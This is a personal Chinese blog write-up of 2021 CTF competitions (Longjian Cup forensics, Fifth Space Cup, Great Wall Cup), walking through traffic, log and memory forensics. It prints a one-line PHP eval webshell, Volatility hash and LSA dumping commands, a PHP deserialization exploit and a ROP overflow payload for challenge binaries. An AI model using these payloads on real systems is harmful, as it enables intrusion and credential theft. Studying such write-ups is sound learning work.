做题记录(复盘)

一、陇剑杯(偏复盘)

比赛时是打酱油的爆破组,没啥压力,就做出来几道题,所以在这里把绝大部分题目再复盘一下:

1、签到题

筛了一下http流,发现一堆403,而且都是从一个ip出来的,所以应该是http攻击吧。。

签到.PNG

2、jwt
(1)2.1该网站使用了______认证方式。(如有字母请全部使用小写)

追踪一下流,发现每个请求请求头里都有token,加上题目也叫jwt(可以先拿token去jwt官网解一下确认下),所以直接盲猜是jwt认证。

jwt1.PNG

(2)2.2黑客绕过验证使用的jwt中,id和username是______。(中间使用#号隔开,例如1#admin)

直接拿这段token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc去官网解密

官网:https://jwt.io/

解出来id:10086 username:admin 不对。。。

然后协议分级了一下,在筛了一下http流,又找到一个token,解密发现id是10087,username还是admin。

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0

jwt2.PNG

(3)2.3黑客获取webshell之后,权限是______?

使用正确jwt后追踪tcp到第10个流,发现权限alert了root

jwt3.PNG

(4)2.4黑客上传的恶意文件文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

13流长传了1.c,14流ls了上传目录下的该文件

jwt4.PNG

jtw5.PNG

(5)2.5黑客在服务器上编译的恶意so文件,文件名是_____________。(请提交带有文件后缀的文件名,例如x.so)

后面几个流都是对该so文件的操作,在21流alert能看见looter.so

jwt6.PNG

(6)2.6黑客在服务器上修改了一个配置文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)!

26流:

jwt7.PNG

3、webshell
(1)3.1黑客登录系统使用的密码是_____________。

追tcp流 ,6流找到密码。。。(谁能教教我窍门,不想一个个看了啦)

webshell1.PNG

(2)3.2黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

没做出来,你看我php完全是不懂哦,但是肯定是在tcp31-33流里(31里有pwd)

会了,在33的发包追http流,别追回包的tcp流,要不回包是乱码,看不出来,或者直接不追流,直接在,在这个白页里看data😅 。

上传马的位置就是web的根目录,加上log的后缀路径就行。

jwt8.PNG

(3)3.3黑客获取webshell之后,权限是______?

我在瞎猜,毕竟php我是完全不懂哦~ 。看了一眼35流,把发包urldecode一下发现几个php的函数,搜了一下,感觉就是查权限的呢,是不是和whoami差不多啊。。

webshell3.PNG

(4)3.4黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

33流有写小马进1.php,那就是1.php了,(其实一共就两个php文件 - -)

webshell4.PNG

PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4= <?php eval($_REQUEST[aaa]);? >

(5)3.5黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)

追下37-39的http流,发现38流有上传文件,39流出现了frpc.ini (非网安人员,我甚至都不知道这是啥东西,哈),搜了一下,就是他了。。

webshell5.PNG

(6)3.6黑客代理工具的回连服务端IP是_____________。

走偏了,忘了流38上传了frpn.ini,这是个配置文件啊,那就取他的key-value解一下hex,果然是连接配置

webshell6.PNG

(7)3.7黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd)

同上题

4、日志分析
(1)4.1网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

感觉好白给,log文件就这么大,虽说机会只有三次,但是也够蒙了,比如这个4.1就搜出了一个 200的zip,

怀疑就是他了。。。

日志分析wp1.PNG

(2)4.2分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。
(3)4.3分析攻击流量,黑客使用的是______类读取了秘密文件。

这俩一样,一个urldecode解决了,因为文件里确实没啥,所以一找就找到了。。

日志分析wp2.PNG

5、流量分析

后续会补

6、内存分析

不会做,照朋友wp复现了一下

第一问好像能用mimikatz一把梭,不会、。。所以照朋友wp流程来了一下

先来个vol指令集吧,我完全是不懂哦

Volatility工具指令篇

volatility -f Target.vmem imageinfo   --查看内存信息
volatility -f Target.vmem --profile=Win7SP1x64 hivelist  --查看注册表
volatility -f Target.vmem --profile=Win7SP1x64 hashdump -y  0xfffff8a000024010 -s 0xfffff8a000e66410  --dump出hash表
volatility -f Target.vmem --profile=Win7SP1x64 lsadump  --提取lsa密码

拿到第一题的flag了

内存取证1.png

第二题先搜下文件,发现好多华为P40相关的文件,都取出来然后用一个华为备份还原的脚本一把梭了

volatility -f Target.vmem --profile=Win7SP1x64 filescan   --文件目录扫描
volatility -f Target.vmem --profile=Win7SP1x64 filescan |grep  ‘HUAWEI P40_2021-aa-bb xx.yy.zz' --细致搜一下华为相关
volatility -f Target.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007d8c7d10 -D ./  --把相关文件dump出来
然后直接利用kobackupdec工具进行解密 密钥为6.1flag 空格换_
python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX ./in ./out

华为备份还原脚本地址:https://github.com/RealityNet/kobackupdec

我醉了,用本机装依赖一直超时,换啥源都不行,用kali就行,干了啥啊这是。。用脚本把原来文件名改成in,然后输出out文件访问里面tar,解tar得到一个image就是flag

内存取证2.PNG

内存取证3.PNG

vol根本不会,学会了不少新指令:文件目录扫描、检索;dump文件、dump hash表;查看内存信息、查看进程、注册表;直接提取LSA密码等。

7、简单日志分析
(1)7.1黑客攻击的参数是______。(如有字母请全部使用小写)

出现了好几个user=xxxx,那参数应该就是user

简单日志分析1.PNG

(2)7.2黑客查看的秘密文件的绝对路径是_____________。

第二次get user时后面的base64

简单日志分析2.PNG

(3)7.3黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)

注意要先urldecode 再 base64。。。。

简单日志分析3.PNG

8、SQL注入
(1)8.1黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)

真的烦,看着乱糟糟的,sql注入+php简直就是折磨我,布尔盲注

(2)8.2黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column

看吐了

sql注入1.PNG

(3)8.3黑客最后获取到的flag字符串为_____________。

看吐了×2 ,盲注一个个往下数吧。。

sql注入2.PNG

9、wifi

我不会

10、ios
(1)10.1黑客所控制的C&C服务器IP是_____________。
(2)10.2黑客利用的Github开源项目的名字是______。(如有字母请全部使用小写)
(3)10.3通讯加密密钥的明文是____________。

这三题都在tcp 15流中

ios2.PNG
ios1.PNG

(4)10.4黑客通过SQL盲注拿到了一个敏感数据,内容是____________。

要导入https证书了,把key.log中rsa session都去了只留CLIENT_RANDOM文件然后导入tls文件,然后筛一下http2流可以看到sql盲注的内容,然后就,,挨个数或者写脚本看下盲注的内容。

ios3.PNG

ios4.PNG

(5)10.5黑客端口扫描的扫描器的扫描范围是____________。(格式使用“开始端口-结束端口”,例如1-65535)

由第一问可以知道发起攻击的ip是192.168.1.8,那么用科来工具筛一下这个与ip交互的ip,发现过了192.168.1.12好多的端口,怀疑是在扫描,看一眼,猜测范围是10-499

ios5.PNG

(6)10.6被害者手机上被拿走了的私钥文件内容是____________。

不会

(7)10.7黑客访问/攻击了内网的几个服务器,IP地址为____________。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)

接着用科来工具看192.168.1.8感觉内网ip只有以下圈的两个,其中一个是上题被扫描的ip,另外一个则在access.log中被写了webshell了。。。那应该就是图中的两个ip

ios6.PNG

(8)10.8黑客写入了一个webshell,其密码为____________。

在日志里的最后几行

ios9.PNG

11、机密内存

我配么

二、第五空间杯

队里一共做出来6道题,简单记一下。

1、misc 签到题

没啥好说的,下载解压缩包,打开里头txt文件得到flag

1.png

2、misc alpha10

首先下载得到一个.data文件,kali binwalk 发现藏有png和jpg,foremost分离

2.png

得到两个一样的图片分别是jpg和png格式。用stegslove比不出啥,猜测是盲水印,执行盲水印脚本得到:

3.png

4.jpg

3、区块链 callbox

一、前面都是老套路,计算hash值,然后获取游戏地址,部署题目,通过eth.getTransactionReceipt获取部署的字节码,然后进行反汇编,获取汇编码

5.png

二、分析汇编码主要点在于三个call DELEGATECALL、STATICCALL和CALL,还能发现只有一个0xc24fe950函数,参数为一个地址。然后没有更多的函数,所以能想到的清空方法就是自毁函数selfdestruct()。

三、然后就是具体分析调用流程,首先调用0xc24fe950 (address)方法,会判断msg.sender == address(this),即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender是game合约地址,判断为否。然后进入staticcall(address(this))部分,它重进入自己的合约内,再次调用0xc24fe950
(address)方法。此时需注意,由于是重进入,故此时的msg.sender与address(this)相等。故经过判定,会进入到delegatecall(code)的逻辑中。在delegatecall(code)逻辑中,实际上是调用外部合约code的fallback()方法,注意此时为staticcall的调用环境,故此时应该让其直接返回success即可。staticcall(address(this))通过后,会进入call(address(this))调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()函数中,不直接返回,而是执行selfdestruct(tx.origin)来销毁game合约,从而达到清空的目的。

四、然后还得判断一下是由call调用还是staticcall调用,通过EIP-214得知,staticcall的本质是严禁修改任何地址,而call则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。

五、最后写payload即可,在链上部署两个合约,最后调用0xc24fe950(传CODE3地址)即可,具体交互脚本都是老套路。

6.png

7.png

8.png

9.png

这题吧,我同事YYDS

4、web WebFtp

御剑直接扫出后台有1.txt和其他php,php文件访问403,1.txt可以正常访问,访问得到flag

11.png

5、web pklovecloud

查看题目发现直接是代码审计题目

函数入口点$logData = unserialize($_GET['pks']);

直接echo $logData

根据PHP 魔法函数特性可知,当把对象当做字符串去执行,会触发to_string,跟踪$this->cinder->echo_name();

进入到class ace中的echo_name()中,发现只要满足

$this->openstack->neutron === $this->openstack->nova就可以触发

file_get_contents($file),将$filename赋值为flag.php即可得到flag值

flag{fXM75u5IqcaEwdIibN4DOpHGGnyi}

13.png

14.png

Exp如下:
<?php

class  acp{

    protected $cinder;
    public $neutron;
    public $nova;
    public function __construct()
    {
        $this->cinder = new ace();
    }
}

class ace{

    public $filename;
    public $openstack;
    public $docker;
    public function __construct()
    {
        $this->filename = "flag.php";
    }
}

$flag= new acp();
$flag->openstack->neutron = &$flag->openstack->nova;
echo base64_encode(serialize($flag));

6、pwn bountyhunter

明显的栈溢出,题目未开canary、PIE,且给了system和/bin/sh字符串,简单ROP

15.png

bin_sh = 0x00403408
system_plt = 0x000401030
rdi = 0x000000000040120b
ret = 0x0000000000401016
pad = b'a'*0x90 + b'b'*8
context.arch = "amd64"
rop = [
    ret,
    rdi, bin_sh,
    system_plt
]
payload = pad+flat(rop)
ru("What do you want?")
sl(payload)
io.interactive()

三、长城杯

打酱油了,菜,一道题都没做出来

后续应该会在这里补一下

一道逆向题:凯撒+tea+rc4

一道misc:最后用到了opcache不会了

一道web:easyjava,比赛时没做,回来看看

wp搜集

一、陇剑杯

陇剑杯 个人 ’WriteUp‘ 没有websehll、流量分析和最后的机密文件

陇剑杯WrightUp--Webshell 记webshell的

2021陇剑杯部分WP 有记流量分析

还没找到机密内存

二、第五空间杯

1、可以去看Nu1l的赛后wp

2、或者去看n03tack战队的wp(这次社企组第二,仰望)

wp地址:https://wp.n03tack.top/posts/56002/

三、长城杯

还没找


标题:陇剑杯、第五空间杯、长城杯做题记录(复盘)及wp搜集
作者:jyl
地址:http://jinyunlong.xyz/articles/2021/09/18/1631936869107.html